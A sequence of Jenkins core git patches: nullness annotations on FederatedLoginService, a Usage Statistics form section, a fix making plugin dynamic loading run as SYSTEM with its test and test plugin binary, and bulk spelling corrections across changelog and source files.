/federatedLoginService/URLNAME/. The url name needs to be unique among all * {@link FederatedLoginService}s. */ + @Nonnull public abstract String getUrlName(); /** * Returns your implementation of {@link FederatedLoginServiceUserProperty} that stores * opaque identifiers. */ + @Nonnull public abstract Class getUserPropertyClass(); /** @@ -117,6 +121,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return must not be null. */ + @Nonnull public abstract String getIdentifier(); /** @@ -125,6 +130,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getNickname(); /** @@ -132,6 +138,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getFullName(); /** @@ -139,6 +146,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getEmailAddress(); /** @@ -150,6 +158,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { /** * Locates the user who owns this identifier. */ + @CheckForNull public final User locateUser() { Class pt = getUserPropertyClass(); String id = getIdentifier(); @@ -175,6 +184,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * a user registration session (provided that {@link SecurityRealm} supports that.) */ @SuppressWarnings("ACL.impersonate") + @Nonnull public User signin() throws UnclaimedIdentityException { User u = locateUser(); if (u!=null) { -- GitLab From 96f0062132cc602e6e45f7e6c95860862ecfd480 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 10 Feb 2017 15:49:43 +0000 Subject: [PATCH 783/811] Usage Statistics needs a section otherwise it can be kind of hard to find --- .../main/resources/hudson/model/UsageStatistics/global.groovy | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/UsageStatistics/global.groovy b/core/src/main/resources/hudson/model/UsageStatistics/global.groovy index 32428c95c3..34785a89f3 100644 --- a/core/src/main/resources/hudson/model/UsageStatistics/global.groovy +++ b/core/src/main/resources/hudson/model/UsageStatistics/global.groovy @@ -2,4 +2,6 @@ package hudson.model.UsageStatistics; def f=namespace(lib.FormTagLib) -f.optionalBlock( field:"usageStatisticsCollected", checked:app.usageStatisticsCollected, title:_("statsBlurb")) +f.section(title: _("Usage Statistics")) { + f.optionalBlock(field: "usageStatisticsCollected", checked: app.usageStatisticsCollected, title: _("statsBlurb")) +} -- GitLab From 6fb9e91b63521eb8cdcd072cec6610d856aabf34 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 12 Feb 2017 05:36:48 -0500 Subject: [PATCH 784/811] [JENKINS-41684] Ensure that PluginManager.dynamicLoad runs as SYSTEM (#2732) * [FIXED JENKINS-41684] Ensure that PluginManager.dynamicLoad runs as SYSTEM. Test plugin source: package test; import hudson.Plugin; import jenkins.model.Jenkins; public class ThePlugin extends Plugin { @Override public void postInitialize() throws Exception { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); } } * @daniel-beck wants this all reindented. --- core/src/main/java/hudson/PluginManager.java | 158 +++++++++--------- .../test/java/hudson/PluginManagerTest.java | 14 ++ .../plugins/require-system-during-load.hpi | Bin 0 -> 5151 bytes 3 files changed, 94 insertions(+), 78 deletions(-) create mode 100644 test/src/test/resources/plugins/require-system-during-load.hpi diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 8673d99ee4..495ba7ee3f 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -819,100 +819,102 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas */ @Restricted(NoExternalUse.class) public void dynamicLoad(File arc, boolean removeExisting) throws IOException, InterruptedException, RestartRequiredException { - LOGGER.info("Attempting to dynamic load "+arc); - PluginWrapper p = null; - String sn; - try { - sn = strategy.getShortName(arc); - } catch (AbstractMethodError x) { - LOGGER.log(WARNING, "JENKINS-12753 fix not active: {0}", x.getMessage()); - p = strategy.createPluginWrapper(arc); - sn = p.getShortName(); - } - PluginWrapper pw = getPlugin(sn); - if (pw!=null) { - if (removeExisting) { // try to load disabled plugins - for (Iterator i = plugins.iterator(); i.hasNext();) { - pw = i.next(); - if(sn.equals(pw.getShortName())) { - i.remove(); - pw = null; - break; + try (ACLContext context = ACL.as(ACL.SYSTEM)) { + LOGGER.info("Attempting to dynamic load "+arc); + PluginWrapper p = null; + String sn; + try { + sn = strategy.getShortName(arc); + } catch (AbstractMethodError x) { + LOGGER.log(WARNING, "JENKINS-12753 fix not active: {0}", x.getMessage()); + p = strategy.createPluginWrapper(arc); + sn = p.getShortName(); + } + PluginWrapper pw = getPlugin(sn); + if (pw!=null) { + if (removeExisting) { // try to load disabled plugins + for (Iterator i = plugins.iterator(); i.hasNext();) { + pw = i.next(); + if(sn.equals(pw.getShortName())) { + i.remove(); + pw = null; + break; + } } + } else { + throw new RestartRequiredException(Messages._PluginManager_PluginIsAlreadyInstalled_RestartRequired(sn)); } - } else { - throw new RestartRequiredException(Messages._PluginManager_PluginIsAlreadyInstalled_RestartRequired(sn)); } - } - if (p == null) { - p = strategy.createPluginWrapper(arc); - } - if (p.supportsDynamicLoad()== YesNoMaybe.NO) - throw new RestartRequiredException(Messages._PluginManager_PluginDoesntSupportDynamicLoad_RestartRequired(sn)); + if (p == null) { + p = strategy.createPluginWrapper(arc); + } + if (p.supportsDynamicLoad()== YesNoMaybe.NO) + throw new RestartRequiredException(Messages._PluginManager_PluginDoesntSupportDynamicLoad_RestartRequired(sn)); - // there's no need to do cyclic dependency check, because we are deploying one at a time, - // so existing plugins can't be depending on this newly deployed one. + // there's no need to do cyclic dependency check, because we are deploying one at a time, + // so existing plugins can't be depending on this newly deployed one. - plugins.add(p); - if (p.isActive()) - activePlugins.add(p); - synchronized (((UberClassLoader) uberClassLoader).loaded) { - ((UberClassLoader) uberClassLoader).loaded.clear(); - } - - try { - p.resolvePluginDependencies(); - strategy.load(p); + plugins.add(p); + if (p.isActive()) + activePlugins.add(p); + synchronized (((UberClassLoader) uberClassLoader).loaded) { + ((UberClassLoader) uberClassLoader).loaded.clear(); + } - Jenkins.getInstance().refreshExtensions(); + try { + p.resolvePluginDependencies(); + strategy.load(p); - p.getPlugin().postInitialize(); - } catch (Exception e) { - failedPlugins.add(new FailedPlugin(sn, e)); - activePlugins.remove(p); - plugins.remove(p); - throw new IOException("Failed to install "+ sn +" plugin",e); - } + Jenkins.getInstance().refreshExtensions(); - // run initializers in the added plugin - Reactor r = new Reactor(InitMilestone.ordering()); - final ClassLoader loader = p.classLoader; - r.addAll(new InitializerFinder(loader) { - @Override - protected boolean filter(Method e) { - return e.getDeclaringClass().getClassLoader() != loader || super.filter(e); + p.getPlugin().postInitialize(); + } catch (Exception e) { + failedPlugins.add(new FailedPlugin(sn, e)); + activePlugins.remove(p); + plugins.remove(p); + throw new IOException("Failed to install "+ sn +" plugin",e); } - }.discoverTasks(r)); - try { - new InitReactorRunner().run(r); - } catch (ReactorException e) { - throw new IOException("Failed to initialize "+ sn +" plugin",e); - } - // recalculate dependencies of plugins optionally depending the newly deployed one. - for (PluginWrapper depender: plugins) { - if (depender.equals(p)) { - // skip itself. - continue; + // run initializers in the added plugin + Reactor r = new Reactor(InitMilestone.ordering()); + final ClassLoader loader = p.classLoader; + r.addAll(new InitializerFinder(loader) { + @Override + protected boolean filter(Method e) { + return e.getDeclaringClass().getClassLoader() != loader || super.filter(e); + } + }.discoverTasks(r)); + try { + new InitReactorRunner().run(r); + } catch (ReactorException e) { + throw new IOException("Failed to initialize "+ sn +" plugin",e); } - for (Dependency d: depender.getOptionalDependencies()) { - if (d.shortName.equals(p.getShortName())) { - // this plugin depends on the newly loaded one! - // recalculate dependencies! - try { - getPluginStrategy().updateDependency(depender, p); - } catch (AbstractMethodError x) { - LOGGER.log(WARNING, "{0} does not yet implement updateDependency", getPluginStrategy().getClass()); + + // recalculate dependencies of plugins optionally depending the newly deployed one. + for (PluginWrapper depender: plugins) { + if (depender.equals(p)) { + // skip itself. + continue; + } + for (Dependency d: depender.getOptionalDependencies()) { + if (d.shortName.equals(p.getShortName())) { + // this plugin depends on the newly loaded one! + // recalculate dependencies! + try { + getPluginStrategy().updateDependency(depender, p); + } catch (AbstractMethodError x) { + LOGGER.log(WARNING, "{0} does not yet implement updateDependency", getPluginStrategy().getClass()); + } + break; } - break; } } - } - // Redo who depends on who. - resolveDependantPlugins(); + // Redo who depends on who. + resolveDependantPlugins(); - LOGGER.info("Plugin " + p.getShortName()+":"+p.getVersion() + " dynamically installed"); + LOGGER.info("Plugin " + p.getShortName()+":"+p.getVersion() + " dynamically installed"); + } } @Restricted(NoExternalUse.class) diff --git a/test/src/test/java/hudson/PluginManagerTest.java b/test/src/test/java/hudson/PluginManagerTest.java index e7bb69de1b..f68cf85dcb 100644 --- a/test/src/test/java/hudson/PluginManagerTest.java +++ b/test/src/test/java/hudson/PluginManagerTest.java @@ -30,7 +30,10 @@ import hudson.model.Hudson; import hudson.model.UpdateCenter; import hudson.model.UpdateCenter.UpdateCenterJob; import hudson.model.UpdateSite; +import hudson.model.User; import hudson.scm.SubversionSCM; +import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.util.FormValidation; import hudson.util.PersistedList; import java.io.File; @@ -53,6 +56,7 @@ import org.junit.Test; import org.junit.rules.TemporaryFolder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.Url; import org.jvnet.hudson.test.recipes.WithPlugin; import org.jvnet.hudson.test.recipes.WithPluginManager; @@ -444,6 +448,16 @@ public class PluginManagerTest { assertTrue(pluginInfo.getString("dependencies") != null); } + @Issue("JENKINS-41684") + @Test + public void requireSystemDuringLoad() throws Exception { + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); + try (ACLContext context = ACL.as(User.get("underprivileged").impersonate())) { + dynamicLoad("require-system-during-load.hpi"); + } + } + private void dynamicLoad(String plugin) throws IOException, InterruptedException, RestartRequiredException { PluginManagerUtil.dynamicLoad(plugin, r.jenkins); } diff --git a/test/src/test/resources/plugins/require-system-during-load.hpi b/test/src/test/resources/plugins/require-system-during-load.hpi new file mode 100644 index 0000000000000000000000000000000000000000..a0b717afcd90d9625bf50c0e14797c8e128d7073 GIT binary patch literal 5151 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 literal 0 HcmV?d00001 -- GitLab From 496703d0fe133445e10c7d8d07fa7afd351c8854 Mon Sep 17 00:00:00 2001 From: Josh Soref Date: Sun, 12 Feb 2017 05:38:30 -0500 Subject: [PATCH 785/811] Spelling fixes in changelogs, Javadoc, logs and UI (#2718) * spelling: abstract * spelling: about * spelling: absolute * spelling: across * spelling: activity * spelling: actually * spelling: addition * spelling: allocating * spelling: ambiguous * spelling: analyzes * spelling: analysis * spelling: another * spelling: appear * spelling: arbitrary * spelling: artifact * spelling: assignment * spelling: associated * spelling: augment * spelling: authentication * spelling: automatically * spelling: available * spelling: availability * spelling: because * spelling: background * spelling: beginning * spelling: boolean * spelling: browsers * spelling: building * spelling: calculation * spelling: channel * spelling: column * spelling: concatenation * spelling: connect * spelling: contribute * spelling: convert * spelling: copied * spelling: couldn't * spelling: scrambled * spelling: creates-a * spelling: curr-entry * spelling: customize * spelling: diagnostic * spelling: contain * spelling: default * spelling: delimiter * spelling: descriptor * spelling: disambiguates * spelling: different * spelling: diligently * spelling: disabled * spelling: discovered * spelling: display * spelling: doesn't * spelling: dollar * spelling: downstream * spelling: dynamically * spelling: preemptively * spelling: encrypt * spelling: erroneous * spelling: examine * spelling: existence * spelling: value * spelling: february * spelling: handling * spelling: hostname * spelling: convenient * spelling: identify * spelling: implementation * spelling: incorrect * spelling: individual * spelling: initialization * spelling: initialized * spelling: inputstream * spelling: instantiated * spelling: instantiation * spelling: intended * spelling: interpreted * spelling: interrupted * spelling: invocations * spelling: kern * spelling: localization * spelling: logger * spelling: malfunctioning * spelling: methods * spelling: monitor * spelling: mutator * spelling: multiple * spelling: object * spelling: configured * spelling: optionally * spelling: option * spelling: overridden * spelling: parameterized * spelling: parent * spelling: permissions * spelling: plugin * spelling: potentially * spelling: preferable * spelling: problems like * spelling: programmatically * spelling: property * spelling: reallocate * spelling: recommended * spelling: redirected * spelling: registered * spelling: reliable * spelling: remember * spelling: recurrence * spelling: repeatable * spelling: repeated * spelling: resource * spelling: retrieve * spelling: returned * spelling: revision * spelling: sandwich * spelling: separator * spelling: serialization * spelling: settings * spelling: shadow * spelling: should * spelling: someone * spelling: source * spelling: specified * spelling: style * spelling: subversion * spelling: sufficient * spelling: supplementary * spelling: suppressing * spelling: synchronization * spelling: synchronized * spelling: this * spelling: transitioning * spelling: termination * spelling: trying * spelling: truncatable * spelling: unknown * spelling: undeployed * spelling: unnecessary * spelling: unparseable * spelling: update * spelling: upper * spelling: verify * spelling: visible * spelling: warning * spelling: we're * spelling: whitespace * spelling: wide * spelling: with * spelling: workspace * spelling: yielding * spelling: to * spelling: by * spelling: the * spelling: hours --- changelog.html | 32 +++++++++---------- core/pom.xml | 2 +- core/src/main/java/hudson/BulkChange.java | 4 +-- core/src/main/java/hudson/FilePath.java | 4 +-- .../FileSystemProvisionerDescriptor.java | 2 +- core/src/main/java/hudson/Functions.java | 2 +- core/src/main/java/hudson/Launcher.java | 2 +- .../main/java/hudson/LocalPluginManager.java | 2 +- core/src/main/java/hudson/Plugin.java | 2 +- core/src/main/java/hudson/PluginManager.java | 10 +++--- .../main/java/hudson/ProxyConfiguration.java | 2 +- core/src/main/java/hudson/WebAppMain.java | 2 +- .../main/java/hudson/cli/BuildCommand.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 4 +-- .../cli/handlers/ViewOptionHandler.java | 2 +- .../impl/InstallUncaughtExceptionHandler.java | 2 +- .../main/java/hudson/init/package-info.java | 2 +- .../main/java/hudson/model/AbstractBuild.java | 2 +- .../java/hudson/model/AbstractProject.java | 4 +-- .../main/java/hudson/model/Actionable.java | 2 +- .../model/ChoiceParameterDefinition.java | 2 +- core/src/main/java/hudson/model/Computer.java | 4 +-- .../main/java/hudson/model/Descriptor.java | 4 +-- core/src/main/java/hudson/model/Job.java | 2 +- .../hudson/model/JobPropertyDescriptor.java | 2 +- core/src/main/java/hudson/model/Label.java | 2 +- .../main/java/hudson/model/PageDecorator.java | 2 +- .../hudson/model/ParameterDefinition.java | 2 +- .../java/hudson/model/ParameterValue.java | 2 +- .../hudson/model/PermalinkProjectAction.java | 2 +- core/src/main/java/hudson/model/Queue.java | 4 +-- core/src/main/java/hudson/model/Run.java | 4 +-- core/src/main/java/hudson/model/Slave.java | 6 ++-- .../main/java/hudson/model/TaskAction.java | 2 +- .../main/java/hudson/model/UpdateCenter.java | 2 +- .../main/java/hudson/model/UpdateSite.java | 2 +- .../java/hudson/model/UsageStatistics.java | 2 +- core/src/main/java/hudson/model/User.java | 10 +++--- .../hudson/model/listeners/ItemListener.java | 2 +- .../hudson/model/listeners/SCMListener.java | 2 +- .../AbstractAsyncNodeMonitorDescriptor.java | 2 +- .../AbstractNodeMonitorDescriptor.java | 2 +- .../org/apache/tools/tar/TarInputStream.java | 6 ++-- core/src/main/java/hudson/os/SU.java | 2 +- .../java/hudson/scheduler/BaseParser.java | 2 +- core/src/main/java/hudson/search/Search.java | 4 +-- .../security/BasicAuthenticationFilter.java | 4 +-- .../main/java/hudson/security/Permission.java | 2 +- .../java/hudson/slaves/ComputerLauncher.java | 6 ++-- .../java/hudson/slaves/NodeDescriptor.java | 2 +- .../java/hudson/slaves/RetentionStrategy.java | 2 +- .../java/hudson/slaves/SlaveComputer.java | 2 +- core/src/main/java/hudson/tasks/Maven.java | 2 +- .../src/main/java/hudson/tasks/Publisher.java | 2 +- .../java/hudson/tasks/UserNameResolver.java | 2 +- .../tools/DownloadFromUrlInstaller.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 4 +-- .../hudson/util/ByteArrayOutputStream2.java | 2 +- .../hudson/util/CharacterEncodingFilter.java | 2 +- .../java/hudson/util/ChunkedInputStream.java | 4 +-- .../main/java/hudson/util/CompressedFile.java | 4 +-- .../java/hudson/util/DescribableList.java | 4 +-- .../main/java/hudson/util/DescriptorList.java | 2 +- .../java/hudson/util/DoubleLaunchChecker.java | 2 +- .../java/hudson/util/FormFieldValidator.java | 4 +-- .../main/java/hudson/util/FormValidation.java | 2 +- core/src/main/java/hudson/util/IOUtils.java | 2 +- .../main/java/hudson/util/ListBoxModel.java | 2 +- .../main/java/hudson/util/PersistedList.java | 2 +- .../main/java/hudson/util/ProcessTree.java | 2 +- core/src/main/java/hudson/util/RunList.java | 2 +- .../hudson/util/SequentialExecutionQueue.java | 2 +- .../java/hudson/util/spring/BeanBuilder.java | 4 +-- .../spring/RuntimeSpringConfiguration.java | 2 +- .../java/hudson/views/ListViewColumn.java | 2 +- .../java/jenkins/install/InstallState.java | 4 +-- .../java/jenkins/install/InstallUtil.java | 2 +- .../java/jenkins/install/SetupWizard.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 8 ++--- .../model/lazy/AbstractLazyLoadRunMap.java | 2 +- .../jenkins/mvn/GlobalSettingsProvider.java | 2 +- .../jenkins/security/UserDetailsCache.java | 20 ++++++------ .../security/s2m/AdminCallableMonitor.java | 2 +- .../java/jenkins/util/SystemProperties.java | 4 +-- .../main/resources/hudson/Messages.properties | 2 +- .../hudson/PluginManager/installed.jelly | 2 +- .../hudson/TcpSlaveAgentListener/index.jelly | 4 +-- .../AbstractProject/help-concurrentBuild.html | 2 +- .../EnvVarsHtml/index.groovy | 2 +- .../hudson/scm/SCM/project-changes.jelly | 2 +- .../slaves/JNLPLauncher/help.properties | 2 +- .../hudson/slaves/Messages.properties | 4 +-- .../tasks/BatchFile/help-unstableReturn.html | 2 +- .../help-quietPeriod.html | 2 +- .../lib/form/expandableTextbox.jelly | 2 +- .../lib/form/hetero-list/hetero-list.js | 2 +- .../resources/lib/form/optionalProperty.jelly | 2 +- .../resources/lib/hudson/propertyTable.jelly | 2 +- core/src/main/resources/lib/layout/html.jelly | 4 +-- core/src/main/resources/testng-1.0.dtd | 2 +- core/src/test/java/hudson/FunctionsTest.java | 2 +- .../test/java/hudson/PluginWrapperTest.java | 10 +++--- core/src/test/java/hudson/UtilTest.java | 10 +++--- .../java/hudson/model/AbstractItemTest.java | 2 +- .../hudson/model/FileParameterValueTest.java | 4 +-- core/src/test/java/hudson/model/UserTest.java | 4 +-- .../java/hudson/util/FormValidationTest.java | 8 ++--- licenseCompleter.groovy | 2 +- pom.xml | 2 +- .../groovy/hudson/cli/BuildCommandTest.groovy | 2 +- .../test/java/hudson/ExtensionListTest.java | 2 +- .../hudson/cli/DeleteViewCommandTest.java | 4 +-- .../hudson/diagnosis/OldDataMonitorTest.java | 2 +- .../java/hudson/model/AbstractBuildTest.java | 4 +-- .../java/hudson/model/FingerprintTest.java | 2 +- .../LabelLoadStatisticsQueueLengthTest.java | 2 +- .../test/java/hudson/model/MyViewTest.java | 4 +-- .../hudson/model/MyViewsPropertyTest.java | 12 +++---- test/src/test/java/hudson/model/NodeTest.java | 10 +++--- .../test/java/hudson/model/ProjectTest.java | 2 +- .../src/test/java/hudson/model/QueueTest.java | 2 +- test/src/test/java/hudson/model/UserTest.java | 6 ++-- test/src/test/java/hudson/model/ViewTest.java | 2 +- .../model/WorkspaceCleanupThreadTest.java | 2 +- .../java/hudson/scm/ChangeLogSetTest.java | 2 +- .../test/java/hudson/search/SearchTest.java | 6 ++-- .../src/test/java/hudson/tasks/MavenTest.java | 12 +++---- test/src/test/java/jenkins/I18nTest.java | 2 +- .../test/java/jenkins/model/JenkinsTest.java | 4 +-- .../jenkins/security/Security218CliTest.java | 6 ++-- .../ysoserial/payloads/FileUpload1.java | 2 +- test/src/test/resources/hudson/model/node.xml | 2 +- translation-tool.pl | 4 +-- war/images/readme.txt | 2 +- war/pom.xml | 2 +- war/src/main/js/widgets/config/tabbar.less | 10 +++--- war/src/main/js/widgets/variables.less | 2 +- war/src/main/webapp/WEB-INF/web.xml | 2 +- war/src/main/webapp/css/style.css | 8 ++--- war/src/main/webapp/scripts/combobox.js | 2 +- .../main/webapp/scripts/hudson-behavior.js | 12 +++---- .../test/js/widgets/config/scrollspy-spec.js | 2 +- 142 files changed, 254 insertions(+), 254 deletions(-) diff --git a/changelog.html b/changelog.html index ee15c0b0f6..187b789bbb 100644 --- a/changelog.html +++ b/changelog.html @@ -211,7 +211,7 @@ Upcoming changes Job configuration submission now does not fail when there is no parameters property. (issue 39700, regression in 1.637)
                                                                  • - Fix names of item loading and cleanup Jenkins initializatiion stages. + Fix names of item loading and cleanup Jenkins initialization stages. (issue 40489)
                                                                  • Performance: Use bulk change when submitting Job configurations @@ -506,7 +506,7 @@ Upcoming changes Performance: Avoid acquiring locks in MaskingClassloader. (issue 23784)
                                                                  • - Performance: Update XStream driver to improve performance of XML serilization/deserialization. + Performance: Update XStream driver to improve performance of XML serialization/deserialization. (pull 2561)
                                                                  • Harden checks of prohibited names in user creation logic. @@ -541,7 +541,7 @@ Upcoming changes Properly handle quotes and other special symbols in item names during form validation. (issue 31871)
                                                                  • - Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run accross repositories. + Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run across repositories. (pull 1894)
                                                                  • Internal: Bulk cleanup of @since definitions in Javadoc. @@ -580,13 +580,13 @@ Upcoming changes Decrease connection timeout when changing the JNLP agent port via Groovy system scripts. (issue 38473)
                                                                  • - Added Serbian locatization. + Added Serbian localization. (PR #2554)
                                                                  • Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. (issue 18114)
                                                                  • - Prevent instatination of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. + Prevent instantiation of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. (issue 38534)
                                                                  • Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. @@ -646,12 +646,12 @@ Upcoming changes (issue 37814)
